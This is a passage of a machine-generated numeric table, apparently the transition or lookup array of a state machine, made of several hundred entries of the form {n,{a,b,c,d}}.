{0,{3531,3531,3531,3531}}, {0,{3534,3534,3534,3534}}, {0,{3545,3545,3543,3543}}, {0,{3509,3509,3509,3509}}, {0,{3543,3543,3543,3543}}, {0,{3546,3546,3546,3546}}, {0,{3549,3547,3547,3547}}, {0,{3550,3546,3546,3546}}, {0,{3518,3518,3518,3543}}, {0,{3548,3548,3548,3548}}, {0,{3553,3553,3553,3553}}, {0,{3547,3547,3547,3547}}, {0,{3455,3551,3551,3552}}, {0,{3552,3552,3552,3552}}, {0,{3557,3558,3555,3555}}, {399,{3551,3551,3551,3552}}, {0,{3551,3551,3551,3552}}, {0,{3555,3555,3555,3555}}, {0,{3435,3435,3435,3561}}, {0,{3562,3562,3568,3559}}, {0,{3563,3567,3555,3555}}, {400,{3564,3552,3552,3552}}, {0,{3565,3553,3565,3553}}, {0,{3566,3547,3547,3547}}, {0,{3544,3544,3546,3546}}, {0,{3564,3552,3552,3552}}, {0,{3569,3555,3555,3555}}, {401,{3552,3552,3552,3552}}, {0,{3571,3571,3571,3579}}, {0,{3572,3572,3572,3572}}, {0,{3573,3573,3573,3573}}, {0,{3574,3574,3574,3574}}, {0,{3575,3575,3575,3575}}, {0,{3576,3576,3576,3576}}, {0,{3577,3577,3577,3577}}, {0,{3578,3578,3578,3578}}, {0,{3442,3442,3442,0}}, {0,{3580,3572,3572,3572}}, {0,{3581,3581,3581,3581}}, {0,{3582,3574,3574,3574}}, {0,{3583,3583,3583,3583}}, {0,{3584,3576,3576,3576}}, {0,{3585,3585,3585,3585}}, {0,{3578,3578,3578,3586}}, {0,{3568,3568,3568,3559}}, {0,{3588,3588,3588,3570}}, {0,{3589,3589,3589,3594}}, {0,{3590,3590,3590,3590}}, {0,{3591,3591,3591,3591}}, {0,{3592,3592,3592,3592}}, {0,{3593,3593,3593,3593}}, {0,{3444,3444,3444,3444}}, {0,{3595,3590,3590,3590}}, {0,{3596,3596,3596,3596}}, {0,{3597,3592,3592,3592}}, {0,{3598,3598,3598,3598}}, {0,{3599,3444,3444,3444}}, {0,{3560,3560,3560,3560}}, {0,{3570,3570,3570,3570}}, {0,{3602,3600,3600,3600}}, {0,{3603,3570,3570,3570}}, {0,{3604,3604,3604,3620}}, {0,{3605,3605,3605,3605}}, {0,{3606,3606,3606,3573}}, {0,{3607,3607,3607,3607}}, {0,{3608,3608,3608,3575}}, {0,{3609,3609,3609,3609}}, {0,{3610,3577,3577,3577}}, {0,{3611,3611,3611,3611}}, {0,{3612,3612,3612,3619}}, {0,{3613,3618,3618,3618}}, {402,{3614,3614,3614,3614}}, {0,{3615,3615,3615,3615}}, {0,{3616,3616,3616,3616}}, {0,{3617,3617,0,0}}, {403,{0,0,0,0}}, {0,{3614,3614,3614,3614}}, {0,{3618,3618,3618,3618}}, {0,{3621,3605,3605,3605}}, {0,{3622,3622,3622,3581}}, {0,{3623,3607,3607,3607}}, {0,{3624,3624,3624,3583}}, {0,{3625,3609,3609,3609}}, {0,{3626,3585,3585,3585}}, {0,{3611,3611,3611,3627}}, {0,{3628,3628,3628,3635}}, {0,{3629,3634,3634,3634}}, {404,{3630,3630,3630,3630}}, {0,{3631,3631,3631,3631}}, {0,{3632,3632,3632,3632}}, {0,{3633,3633,3546,3546}}, {405,{3543,3543,3543,3543}}, {0,{3630,3630,3630,3630}}, {0,{3634,3634,3634,3634}}, {0,{3600,3600,3600,3600}}, {0,{3636,3601,3636,3636}}, {0,{3639,3650,3639,3639}}, {0,{3640,3640,3640,3640}}, {0,{3641,3641,3641,3641}}, {0,{0,0,0,3642}}, {0,{3643,0,0,0}}, {0,{3644,3644,3644,3644}}, {0,{3645,0,0,0}}, {0,{3646,3646,3646,3646}}, {0,{3647,0,0,0}}, {0,{3648,3648,3648,3648}}, {0,{0,0,0,3649}}, {0,{3559,3559,3559,3559}}, {0,{3651,3640,3640,3640}}, {0,{3652,3641,3641,3641}}, {0,{3653,3653,3653,3661}}, {0,{3654,3654,3654,3654}}, {0,{3655,3655,3655,0}}, {0,{3656,3656,3656,3656}}, {0,{3657,3657,3657,0}}, {0,{3658,3658,3658,3658}}, {0,{3659,0,0,0}}, {0,{3660,3660,3660,3660}}, {0,{3619,3619,3619,3619}}, {0,{3662,3654,3654,3654}}, {0,{3663,3663,3663,3644}}, {0,{3664,3656,3656,3656}}, {0,{3665,3665,3665,3646}}, {0,{3666,3658,3658,3658}}, {0,{3667,3648,3648,3648}}, {0,{3660,3660,3660,3668}}, {0,{3635,3635,3635,3635}}, {0,{3670,3638,3638,3638}}, {0,{3671,3650,3639,3639}}, {0,{3672,3640,3640,3640}}, {0,{3673,3673,3673,3641}}, {0,{3674,3674,3674,3683}}, {0,{3675,3675,3675,3675}}, {0,{3676,3676,3676,3676}}, {0,{3677,3677,3677,3677}}, {0,{3678,3678,3678,3678}}, {0,{3679,3679,3679,0}}, {0,{3680,3680,3680,0}}, {0,{3681,3681,3681,3681}}, {0,{3682,3682,3682,0}}, {0,{3433,3433,0,0}}, {0,{3684,3675,3675,3675}}, {0,{3685,3685,3685,3685}}, {0,{3686,3677,3677,3677}}, {0,{3687,3687,3687,3687}}, {0,{3688,3679,3679,0}}, {0,{3689,3689,3689,3648}}, {0,{3681,3681,3681,3690}}, {0,{3691,3691,3691,3559}}, {0,{3558,3558,3555,3555}}, {0,{3638,3638,3638,3638}}, {0,{3694,3669,3692,3692}}, {0,{3695,3638,3638,3638}}, {0,{3696,3650,3639,3639}}, {0,{3697,3724,3640,3640}}, {0,{3698,3698,3698,3641}}, {0,{3699,3699,3699,3712}}, {0,{3700,3700,3700,3700}}, {0,{3701,3701,3701,3701}}, {0,{3702,3702,3702,3702}}, {0,{3703,3703,3703,3703}}, {0,{3704,3704,3704,3711}}, {0,{3705,3705,3705,3708}}, {0,{3706,3706,3706,3706}}, {0,{3707,3707,3682,0}}, {0,{3430,3430,0,0}}, {0,{3709,3709,3709,3709}}, {0,{3710,3710,0,0}}, {0,{3441,3441,0,0}}, {0,{3708,3708,3708,3708}}, {0,{3713,3700,3700,3700}}, {0,{3714,3714,3714,3714}}, {0,{3715,3702,3702,3702}}, {0,{3716,3716,3716,3716}}, {0,{3717,3704,3704,3711}}, {0,{3718,3718,3718,3721}}, {0,{3706,3706,3706,3719}}, {0,{3720,3720,3691,3559}}, {0,{3554,3554,3555,3555}}, {0,{3709,3709,3709,3722}}, {0,{3723,3723,3559,3559}}, {0,{3567,3567,3555,3555}}, {0,{3725,3725,3725,3641}}, {0,{3726,3726,3726,3731}}, {0,{3727,3727,3727,3727}}, {0,{3728,3728,3728,3728}}, {0,{3729,3729,3729,3729}}, {0,{3730,3730,3730,3730}}, {0,{3711,3711,3711,3711}}, {0,{3732,3727,3727,3727}}, {0,{3733,3733,3733,3733}}, {0,{3734,3729,3729,3729}}, {0,{3735,3735,3735,3735}}, {0,{3736,3711,3711,3711}}, {0,{3721,3721,3721,3721}}, {0,{3692,3692,3692,3692}}, {0,{3739,3764,3772,3772}}, {0,{3740,3758,3763,3763}}, {0,{3741,3753,3753,3754}}, {0,{3742,3749,3752,3752}}, {0,{3743,3746,3748,3748}}, {0,{3744,3744,3744,3745}}, {0,{3353,3353,3353,3353}}, {0,{3571,3571,3571,3571}}, {0,{3747,3747,3747,3745}}, {0,{3589,3589,3589,3589}}, {0,{3745,3745,3745,3745}}, {0,{3750,3748,3748,3748}}, {0,{3751,3745,3745,3745}}, {0,{3604,3604,3604,3604}}, {0,{3748,3748,3748,3748}}, {0,{3752,3749,3752,3752}}, {0,{0,3755,0,0}}, {0,{3756,0,0,0}}, {0,{3757,0,0,0}}, {0,{3653,3653,3653,3653}}, {0,{3759,3754,3754,3754}}, {0,{3760,3755,0,0}}, {0,{3761,0,0,0}}, {0,{3762,3762,3762,0}}, {0,{3674,3674,3674,3674}}, {0,{3754,3754,3754,3754}}, {0,{3765,3758,3763,3763}}, {0,{3766,3754,3754,3754}}, {0,{3767,3755,0,0}}, {0,{3768,3770,0,0}}, {0,{3769,3769,3769,0}}, {0,{3699,3699,3699,3699}}, {0,{3771,3771,3771,0}}, {0,{3726,3726,3726,3726}}, {0,{3763,3763,3763,3763}}, {0,{3774,3774,3774,3774}}, {0,{3775,3775,3775,3775}}, {0,{3776,3776,3776,3776}}, {0,{3777,3801,3777,3777}}, {0,{3778,3778,3778,3778}}, {0,{3779,3779,3779,3779}}, {0,{0,0,0,3780}}, {0,{3781,0,0,0}}, {0,{3782,0,0,0}}, {0,{3783,0,0,0}}, {0,{3784,0,0,0}}, {0,{0,0,0,3785}}, {0,{3786,3786,3786,3786}}, {0,{0,0,0,3787}}, {0,{0,0,0,3788}}, {0,{3789,3789,3789,3789}}, {0,{3790,3790,3790,3790}}, {0,{3791,3791,3791,3791}}, {0,{3792,3792,3792,3792}}, {0,{3793,3793,3793,3793}}, {0,{3794,3794,3794,3794}}, {0,{3795,3795,3795,3795}}, {0,{0,0,0,3796}}, {0,{0,0,0,3797}}, {0,{0,0,0,3798}}, {0,{3799,0,0,0}}, {0,{3800,0,0,0}}, {406,{0,0,0,0}}, {0,{3802,3778,3778,3778}}, {0,{3803,3779,3779,3779}}, {0,{3653,3653,3653,3804}}, {0,{3805,3654,3654,3654}}, {0,{3806,3655,3655,0}}, {0,{3807,3656,3656,3656}}, {0,{3808,3657,3657,0}}, {0,{3658,3658,3658,3809}}, {0,{3810,3786,3786,3786}}, {0,{3660,3660,3660,3811}}, {0,{3619,3619,3619,3812}}, {0,{3813,3813,3813,3813}}, {0,{3814,3814,3814,3814}}, {0,{3815,3815,3815,3815}}, {0,{3816,3816,3816,3816}}, {0,{3817,3817,3793,3793}}, {407,{3794,3794,3794,3794}}, {0,{3819,3832,3832,0}}, {0,{3820,3828,3831,3831}}, {0,{3821,3825,3827,3827}}, {0,{3822,3823,3823,3824}}, {0,{3350,3636,3636,3636}}, {0,{3636,3636,3636,3636}}, {0,{3639,3639,3639,3639}}, {0,{3826,3824,3824,3824}}, {0,{3671,3639,3639,3639}}, {0,{3824,3824,3824,3824}}, {0,{3829,3825,3827,3827}}, {0,{3830,3824,3824,3824}}, {0,{3696,3639,3639,3639}}, {0,{3827,3827,3827,3827}}, {0,{3833,3839,0,0}}, {0,{3834,3837,0,0}}, {0,{3835,3836,3836,0}}, {0,{3742,3752,3752,3752}}, {0,{3752,3752,3752,3752}}, {0,{3838,0,0,0}}, {0,{3760,0,0,0}}, {0,{3840,3837,0,0}}, {0,{3841,0,0,0}}, {0,{3767,0,0,0}}, {0,{3843,3852,3852,0}}, {0,{3844,3848,3831,3831}}, {0,{3845,3827,3827,3827}}, {0,{3846,3823,3823,3824}}, {0,{3847,3636,3636,3636}}, {0,{3587,3587,3600,3600}}, {0,{3849,3827,3827,3827}}, {0,{3850,3824,3824,3824}}, {0,{3851,3639,3639,3639}}, {0,{3724,3724,3640,3640}}, {0,{3853,3857,0,0}}, {0,{3854,0,0,0}}, {0,{3855,3836,3836,0}}, {0,{3856,3752,3752,3752}}, {0,{3746,3746,3748,3748}}, {0,{3858,0,0,0}}, {0,{3859,0,0,0}}, {0,{3860,0,0,0}}, {0,{3770,3770,0,0}}, {0,{3862,3864,3865,3865}}, {0,{3738,3738,3738,3863}}, {0,{3772,3772,3772,3772}}, {0,{3832,3832,3832,0}}, {0,{3852,3852,3852,0}}, {408,{3862,3864,3865,3865}}, {0,{3868,3865,3865,3865}}, {0,{3869,3869,3869,3863}}, {0,{3870,3873,3772,3772}}, {0,{3871,3763,3763,3763}}, {0,{3872,3753,3753,3754}}, {0,{3856,3749,3752,3752}}, {0,{3874,3763,3763,3763}}, {0,{3875,3754,3754,3754}}, {0,{3860,3755,0,0}}, {0,{3877,3861,3866,3867}}, {0,{3878,3818,3842,3842}}, {0,{3346,3738,3738,3863}}, {0,{3880,3881,3882,3883}}, {0,{3818,3818,3842,3842}}, {0,{3864,3864,3865,3865}}, {409,{3864,3864,3865,3865}}, {0,{3865,3865,3865,3865}}, {0,{3885,3885,3885,3886}}, {0,{3861,3861,3866,3867}}, {0,{3881,3881,3882,3883}}, {410,{3885,3885,3885,3886}}, {0,{3889,3889,3890,3889}}, {0,{3886,3886,3886,3886}}, {411,{3886,3886,3886,3886}}, {0,{3889,3892,3890,3889}}, {0,{3893,3886,3886,3886}}, {0,{3894,3894,3955,3956}}, {0,{3895,3864,3865,3865}}, {0,{3896,3896,3896,3954}}, {0,{3897,3947,3953,3953}}, {0,{3898,3942,3946,3946}}, {0,{3899,3929,3929,3930}}, {0,{3900,3928,3928,3928}}, {0,{3901,3926,3927,3927}}, {0,{3744,3744,3744,3902}}, {0,{3903,3903,3903,3903}}, {0,{3904,3904,3904,3572}}, {0,{3905,3573,3573,3573}}, {0,{3906,3906,3906,3906}}, {0,{3907,3575,3575,3575}}, {0,{3908,3908,3908,3908}}, {0,{3577,3577,3577,3909}}, {0,{3910,3910,3910,3910}}, {0,{3911,3911,3911,3925}}, {0,{3912,3924,3924,3924}}, {412,{3913,3913,3913,3913}}, {0,{3914,3914,3914,3914}}, {0,{3915,3915,3915,3915}}, {0,{3916,3916,3916,3916}}, {0,{0,0,0,3917}}, {0,{0,0,0,3918}}, {0,{3919,3919,3919,3919}}, {0,{3920,3920,3920,3920}}, {0,{3921,3921,3921,3921}}, {0,{3922,3922,3922,3922}}, {0,{3923,0,0,0}}, {413,{0,0,0,0}}, {0,{3913,3913,3913,3913}}, {0,{3924,3924,3924,3924}}, {0,{3747,3747,3747,3902}}, {0,{3745,3745,3745,3902}}, {0,{3927,3927,3927,3927}}, {0,{3928,3928,3928,3928}}, {0,{3931,3931,3931,3931}}, {0,{3932,3932,3932,3932}}, {0,{0,0,0,3933}}, {0,{3934,3934,3934,3934}}, {0,{3935,3935,3935,0}}, {0,{3936,0,0,0}}, {0,{3937,3937,3937,3937}}, {0,{3938,0,0,0}}, {0,{3939,3939,3939,3939}}, {0,{0,0,0,3940}}, {0,{3941,3941,3941,3941}}, {0,{3925,3925,3925,3925}}, {0,{3943,3930,3930,3930}}, {0,{3944,3931,3931,3931}}, {0,{3945,3932,3932,3932}}, {0,{3762,3762,3762,3933}}, {0,{3930,3930,3930,3930}}, {0,{3948,3942,3946,3946}}, {0,{3949,3930,3930,3930}}, {0,{3950,3931,3931,3931}}, {0,{3951,3952,3932,3932}}, {0,{3769,3769,3769,3933}}, {0,{3771,3771,3771,3933}}, {0,{3946,3946,3946,3946}}, {0,{3953,3953,3953,3953}}, {414,{3895,3864,3865,3865}}, {0,{3957,3865,3865,3865}}, {0,{3958,3958,3958,3954}}, {0,{3959,3963,3953,3953}}, {0,{3960,3946,3946,3946}}, {0,{3961,3929,3929,3930}}, {0,{3962,3928,3928,3928}}, {0,{3926,3926,3927,3927}}, {0,{3964,3946,3946,3946}}, {0,{3965,3930,3930,3930}}, {0,{3966,3931,3931,3931}}, {0,{3952,3952,3932,3932}}, {0,{3968,3889,3890,3889}}, {0,{3969,4413,4413,4413}}, {0,{3970,3881,4343,3883}}, {0,{3971,3971,4327,4327}}, {0,{3972,4299,4299,0}}, {0,{3973,4252,4298,4298}}, {0,{3974,4152,4251,4251}}, {0,{3975,4135,4135,4136}}, {0,{3976,4134,4134,4134}}, {0,{3977,4124,4133,4133}}, {0,{3978,3978,3978,4110}}, {0,{3353,3353,3353,3979}}, {0,{3354,3354,3354,3980}}, {0,{3355,3355,3355,3981}}, {0,{3982,3356,3356,3356}}, {0,{3983,3983,3983,3983}}, {0,{3984,4044,3358,3444}}, {0,{3985,3985,3985,4036}}, {0,{3986,3986,3986,3360}}, {0,{3987,3361,3431,0}}, {0,{3988,4034,4035,4035}}, {415,{3989,4031,4031,4032}}, {0,{3990,4028,3990,4028}}, {0,{3991,4027,4027,4027}}, {0,{3992,4024,4026,4026}}, {0,{3993,3993,4008,4023}}, {0,{3994,3994,3994,4001}}, {0,{3369,3369,3369,3995}}, {0,{3370,3370,3370,3996}}, {0,{3371,3371,3371,3997}}, {0,{3372,3372,3372,3998}}, {0,{3373,3373,3373,3999}}, {0,{4000,3374,3374,3374}}, {416,{3375,3375,3375,3375}}, {0,{3403,3403,3403,4002}}, {0,{3404,3404,3404,4003}}, {0,{3405,3405,3405,4004}}, {0,{3406,3406,3406,4005}}, {0,{3407,3407,3407,4006}}, {0,{4007,3408,3408,3408}}, {417,{3409,3409,3409,3409}}, {0,{4009,4009,4009,4016}}, {0,{3413,3413,3413,4010}}, {0,{3414,3414,3414,4011}}, {0,{3415,3415,3415,4012}}, {0,{3416,3416,3416,4013}}, {0,{3417,3417,3417,4014}}, {0,{4015,3418,3418,3418}}, {418,{3419,3419,3419,3419}}, {0,{0,0,0,4017}}, {0,{0,0,0,4018}}, {0,{0,0,0,4019}}, {0,{0,0,0,4020}}, {0,{0,0,0,4021}}, {0,{4022,0,0,0}}, {419,{0,0,0,0}}, {0,{4016,4016,4016,4016}}, {0,{4025,4025,4023,4023}}, {0,{4001,4001,4001,4001}}, {0,{4023,4023,4023,4023}}, {0,{4026,4026,4026,4026}}, {0,{4029,4027,4027,4027}}, {0,{4030,4026,4026,4026}}, {0,{4008,4008,4008,4023}}, {0,{4028,4028,4028,4028}}, {0,{4033,4033,4033,4033}}, {0,{4027,4027,4027,4027}}, {0,{3989,4031,4031,4032}}, {0,{4032,4032,4032,4032}}, {0,{4037,4037,4037,3435}}, {0,{4038,3436,3442,0}}, {0,{4039,4043,4035,4035}}, {420,{4040,4032,4032,4032}}, {0,{4041,4033,4041,4033}}, {0,{4042,4027,4027,4027}}, {0,{4024,4024,4026,4026}}, {0,{4040,4032,4032,4032}}, {0,{4045,4045,4045,4100}}, {0,{4046,4046,4046,4046}}, {0,{4047,4047,4096,4099}}, {0,{4048,4094,4095,4095}}, {421,{4049,4091,4091,4092}}, {0,{4050,4088,4050,4088}}, {0,{4051,4087,4087,4087}}, {0,{4052,4084,4086,4086}}, {0,{4053,4053,4068,4083}}, {0,{4054,4054,4054,4061}}, {0,{3369,3369,3369,4055}}, {0,{3370,3370,3370,4056}}, {0,{3371,3371,3371,4057}}, {0,{3372,3372,3372,4058}}, {0,{3373,3373,3373,4059}}, {0,{4060,4060,3374,3374}}, {422,{3375,3375,3375,3375}}, {0,{3403,3403,3403,4062}}, {0,{3404,3404,3404,4063}}, {0,{3405,3405,3405,4064}}, {0,{3406,3406,3406,4065}}, {0,{3407,3407,3407,4066}}, {0,{4067,4067,3408,3408}}, {423,{3409,3409,3409,3409}}, {0,{4069,4069,4069,4076}}, {0,{3413,3413,3413,4070}}, {0,{3414,3414,3414,4071}}, {0,{3415,3415,3415,4072}}, {0,{3416,3416,3416,4073}}, {0,{3417,3417,3417,4074}}, {0,{4075,4075,3418,3418}}, {424,{3419,3419,3419,3419}}, {0,{0,0,0,4077}}, {0,{0,0,0,4078}}, {0,{0,0,0,4079}}, {0,{0,0,0,4080}}, {0,{0,0,0,4081}}, {0,{4082,4082,0,0}}, {425,{0,0,0,0}}, {0,{4076,4076,4076,4076}}, {0,{4085,4085,4083,4083}}, {0,{4061,4061,4061,4061}}, {0,{4083,4083,4083,4083}}, {0,{4086,4086,4086,4086}}, {0,{4089,4087,4087,4087}}, {0,{4090,4086,4086,4086}}, {0,{4068,4068,4068,4083}}, {0,{4088,4088,4088,4088}}, {0,{4093,4093,4093,4093}}, {0,{4087,4087,4087,4087}}, {0,{4049,4091,4091,4092}}, {0,{4092,4092,4092,4092}}, {0,{4097,4098,4095,4095}}, {426,{4091,4091,4091,4092}}, {0,{4091,4091,4091,4092}}, {0,{4095,4095,4095,4095}}, {0,{4101,4101,4101,4101}}, {0,{4102,4102,4108,4099}}, {0,{4103,4107,4095,4095}}, {427,{4104,4092,4092,4092}}, {0,{4105,4093,4105,4093}}, {0,{4106,4087,4087,4087}}, {0,{4084,4084,4086,4086}}, {0,{4104,4092,4092,4092}}, {0,{4109,4095,4095,4095}}, {428,{4092,4092,4092,4092}}, {0,{3571,3571,3571,4111}}, {0,{3572,3572,3572,4112}}, {0,{3573,3573,3573,4113}}, {0,{4114,3574,3574,3574}}, {0,{4115,4115,4115,4115}}, {0,{4116,4121,3576,3576}}, {0,{4117,4117,4117,4117}}, {0,{4118,4118,4118,3578}}, {0,{4119,3442,3442,0}}, {0,{4120,4035,4035,4035}}, {429,{4032,4032,4032,4032}}, {0,{4122,4122,4122,4122}}, {0,{4123,4123,4123,4123}}, {0,{4108,4108,4108,4099}}, {0,{4125,4125,4125,4110}}, {0,{3589,3589,3589,4126}}, {0,{3590,3590,3590,4127}}, {0,{3591,3591,3591,4128}}, {0,{4129,3592,3592,3592}}, {0,{4130,4130,4130,4130}}, {0,{4131,4132,3444,3444}}, {0,{4036,4036,4036,4036}}, {0,{4100,4100,4100,4100}}, {0,{4110,4110,4110,4110}}, {0,{4133,4133,4133,4133}}, {0,{4134,4134,4134,4134}}, {0,{4137,4137,4137,4137}}, {0,{4138,4138,4138,4138}}, {0,{4139,4139,4139,4139}}, {0,{0,0,0,4140}}, {0,{0,0,0,4141}}, {0,{0,0,0,4142}}, {0,{4143,0,0,0}}, {0,{4144,4144,4144,4144}}, {0,{4145,4149,0,0}}, {0,{4146,4146,4146,4146}}, {0,{4147,4147,4147,0}}, {0,{4148,0,0,0}}, {0,{4035,4035,4035,4035}}, {0,{4150,4150,4150,4150}}, {0,{4151,4151,4151,4151}}, {0,{4099,4099,4099,4099}}, {0,{4153,4250,4250,4250}}, {0,{4154,4249,4249,4249}}, {0,{4155,4248,4248,4248}}, {0,{4156,4156,4156,4241}}, {0,{3674,3674,3674,4157}}, {0,{3675,3675,3675,4158}}, {0,{3676,3676,3676,4159}}, {0,{4160,3677,3677,3677}}, {0,{4161,4161,4161,4161}}, {0,{4162,4237,3679,0}}, {0,{4163,4163,4163,4230}}, {0,{4164,4164,4164,4203}}, {0,{4165,3682,3682,0}}, {0,{4166,4166,4035,4035}}, {0,{4167,4167,4167,4201}}, {0,{4168,4168,4168,4168}}, {0,{4169,4200,4200,4200}}, {0,{4170,4199,4199,4199}}, {0,{4171,4171,4171,4198}}, {0,{4172,4172,4172,4189}}, {0,{3413,3413,3413,4173}}, {0,{3414,3414,3414,4174}}, {0,{3415,3415,3415,4175}}, {0,{3416,3416,3416,4176}}, {0,{3417,3417,3417,4177}}, {0,{4178,3418,3418,3418}}, {430,{4179,4179,4179,4179}}, {0,{4180,4180,4180,4180}}, {0,{4181,4181,4181,4185}}, {0,{4182,4182,4182,4182}}, {0,{4183,4183,4183,4183}}, {0,{4184,4184,3392,0}}, {431,{3393,3393,3393,0}}, {0,{4186,4186,4186,4186}}, {0,{4187,4187,4187,4187}}, {0,{4188,4188,0,0}}, {432,{0,0,0,0}}, {0,{0,0,0,4190}}, {0,{0,0,0,4191}}, {0,{0,0,0,4192}}, {0,{0,0,0,4193}}, {0,{0,0,0,4194}}, {0,{4195,0,0,0}}, {433,{4196,4196,4196,4196}}, {0,{4197,4197,4197,4197}}, {0,{4185,4185,4185,4185}}, {0,{4189,4189,4189,4189}}, {0,{4198,4198,4198,4198}}, {0,{4199,4199,4199,4199}}, {0,{4202,4202,4202,4202}}, {0,{4200,4200,4200,4200}}, {0,{4204,3682,3682,0}}, {0,{4205,4205,0,0}}, {0,{4206,4206,4206,4228}}, {0,{4207,4207,4207,4207}}, {0,{4208,4227,4227,4227}}, {0,{4209,4226,4226,4226}}, {0,{4210,4210,4210,4225}}, {0,{4211,4211,4211,4218}}, {0,{3413,3413,3413,4212}}, {0,{3414,3414,3414,4213}}, {0,{3415,3415,3415,4214}}, {0,{3416,3416,3416,4215}}, {0,{3417,3417,3417,4216}}, {0,{4217,3418,3418,3418}}, {0,{4179,4179,4179,4179}}, {0,{0,0,0,4219}}, {0,{0,0,0,4220}}, {0,{0,0,0,4221}}, {0,{0,0,0,4222}}, {0,{0,0,0,4223}}, {0,{4224,0,0,0}}, {0,{4196,4196,4196,4196}}, {0,{4218,4218,4218,4218}}, {0,{4225,4225,4225,4225}}, {0,{4226,4226,4226,4226}}, {0,{4229,4229,4229,4229}}, {0,{4227,4227,4227,4227}}, {0,{4231,4231,4231,4234}}, {0,{4232,0,0,0}}, {0,{4233,4233,4035,4035}}, {0,{4201,4201,4201,4201}}, {0,{4235,0,0,0}}, {0,{4236,4236,0,0}}, {0,{4228,4228,4228,4228}}, {0,{4238,4238,4238,4150}}, {0,{4239,4239,4239,4239}}, {0,{4240,4240,4240,4099}}, {0,{4098,4098,4095,4095}}, {0,{0,0,0,4242}}, {0,{0,0,0,4243}}, {0,{0,0,0,4244}}, {0,{4245,0,0,0}}, {0,{4246,4246,4246,4246}}, {0,{4247,4149,0,0}}, {0,{4230,4230,4230,4230}}, {0,{4241,4241,4241,4241}}, {0,{4248,4248,4248,4248}}, {0,{4249,4249,4249,4249}}, {0,{4136,4136,4136,4136}}, {0,{4253,4287,4297,4297}}, {0,{4254,4286,4286,4286}}, {0,{4255,4285,4285,4285}}, {0,{4256,4276,4284,4284}}, {0,{4257,4257,4257,4270}}, {0,{3699,3699,3699,4258}}, {0,{3700,3700,3700,4259}}, {0,{3701,3701,3701,4260}}, {0,{4261,3702,3702,3702}}, {0,{4262,4262,4262,4262}}, {0,{3704,4263,3704,3711}}, {0,{4264,4264,4264,4267}}, {0,{4265,4265,4265,4265}}, {0,{4266,4266,4240,4099}}, {0,{4094,4094,4095,4095}}, {0,{4268,4268,4268,4268}}, {0,{4269,4269,4099,4099}}, {0,{4107,4107,4095,4095}}, {0,{0,0,0,4271}}, {0,{0,0,0,4272}}, {0,{0,0,0,4273}}, {0,{4274,0,0,0}}, {0,{4275,4275,4275,4275}}, {0,{0,4149,0,0}}, {0,{4277,4277,4277,4270}}, {0,{3726,3726,3726,4278}}, {0,{3727,3727,3727,4279}}, {0,{3728,3728,3728,4280}}, {0,{4281,3729,3729,3729}}, {0,{4282,4282,4282,4282}}, {0,{3711,4283,3711,3711}}, {0,{4267,4267,4267,4267}}, {0,{4270,4270,4270,4270}}, {0,{4284,4284,4284,4284}}, {0,{4285,4285,4285,4285}}, {0,{4288,4286,4286,4286}}, {0,{4289,4285,4285,4285}}, {0,{4290,4284,4284,4284}}, {0,{4291,4291,4291,4270}}, {0,{3674,3674,3674,4292}}, {0,{3675,3675,3675,4293}}, {0,{3676,3676,3676,4294}}, {0,{4295,3677,3677,3677}}, {0,{4296,4296,4296,4296}}, {0,{3679,4237,3679,0}}, {0,{4286,4286,4286,4286}}, {0,{4297,4297,4297,4297}}, {0,{4300,4252,4298,4298}}, {0,{4301,4287,4297,4297}}, {0,{4302,4326,4326,4286}}, {0,{4303,4325,4325,4325}}, {0,{4304,4317,4324,4324}}, {0,{4305,4305,4305,4311}}, {0,{3353,3353,3353,4306}}, {0,{3354,3354,3354,4307}}, {0,{3355,3355,3355,4308}}, {0,{4309,3356,3356,3356}}, {0,{4310,4310,4310,4310}}, {0,{3358,4044,3358,3444}}, {0,{3571,3571,3571,4312}}, {0,{3572,3572,3572,4313}}, {0,{3573,3573,3573,4314}}, {0,{4315,3574,3574,3574}}, {0,{4316,4316,4316,4316}}, {0,{3576,4121,3576,3576}}, {0,{4318,4318,4318,4311}}, {0,{3589,3589,3589,4319}}, {0,{3590,3590,3590,4320}}, {0,{3591,3591,3591,4321}}, {0,{4322,3592,3592,3592}}, {0,{4323,4323,4323,4323}}, {0,{3444,4132,3444,3444}}, {0,{4311,4311,4311,4311}}, {0,{4324,4324,4324,4324}}, {0,{4325,4325,4325,4325}}, {0,{4328,4338,4338,0}}, {0,{4329,4334,4298,4298}}, {0,{4330,4333,4251,4251}}, {0,{4331,4135,4135,4136}}, {0,{4332,4134,4134,4134}}, {0,{4124,4124,4133,4133}}, {0,{4250,4250,4250,4250}}, {0,{4335,4297,4297,4297}}, {0,{4336,4286,4286,4286}}, {0,{4337,4285,4285,4285}}, {0,{4276,4276,4284,4284}}, {0,{4339,4334,4298,4298}}, {0,{4340,4297,4297,4297}}, {0,{4341,4326,4326,4286}}, {0,{4342,4325,4325,4325}}, {0,{4317,4317,4324,4324}}, {434,{3864,4344,3865,3865}}, {0,{4345,4345,4345,4412}}, {0,{4346,4393,4411,4411}}, {0,{4347,4382,4392,4392}}, {0,{4348,4372,4372,4373}}, {0,{4349,4371,4371,4371}}, {0,{4350,4363,4370,4370}}, {0,{4351,4351,4351,4357}}, {0,{3353,3353,3353,4352}}, {0,{3354,3354,3354,4353}}, {0,{3355,3355,3355,4354}}, {0,{4355,3356,4355,3356}}, {0,{4356,3357,3357,3357}}, {435,{3358,3358,3358,3444}}, {0,{3571,3571,3571,4358}}, {0,{3572,3572,3572,4359}}, {0,{3573,3573,3573,4360}}, {0,{4361,3574,4361,3574}}, {0,{4362,3575,3575,3575}}, {436,{3576,3576,3576,3576}}, {0,{4364,4364,4364,4357}}, {0,{3589,3589,3589,4365}}, {0,{3590,3590,3590,4366}}, {0,{3591,3591,3591,4367}}, {0,{4368,3592,4368,3592}}, {0,{4369,3593,3593,3593}}, {437,{3444,3444,3444,3444}}, {0,{4357,4357,4357,4357}}, {0,{4370,4370,4370,4370}}, {0,{4371,4371,4371,4371}}, {0,{4374,4374,4374,4374}}, {0,{4375,4375,4375,4375}}, {0,{4376,4376,4376,4376}}, {0,{0,0,0,4377}}, {0,{0,0,0,4378}}, {0,{0,0,0,4379}}, {0,{4380,0,4380,0}}, {0,{4381,0,0,0}}, {438,{0,0,0,0}}, {0,{4383,4373,4373,4373}}, {0,{4384,4374,4374,4374}}, {0,{4385,4375,4375,4375}}, {0,{4386,4386,4386,4376}}, {0,{3674,3674,3674,4387}}, {0,{3675,3675,3675,4388}}, {0,{3676,3676,3676,4389}}, {0,{4390,3677,4390,3677}}, {0,{4391,3678,3678,3678}}, {439,{3679,3679,3679,0}}, {0,{4373,4373,4373,4373}}, {0,{4394,4382,4392,4392}}, 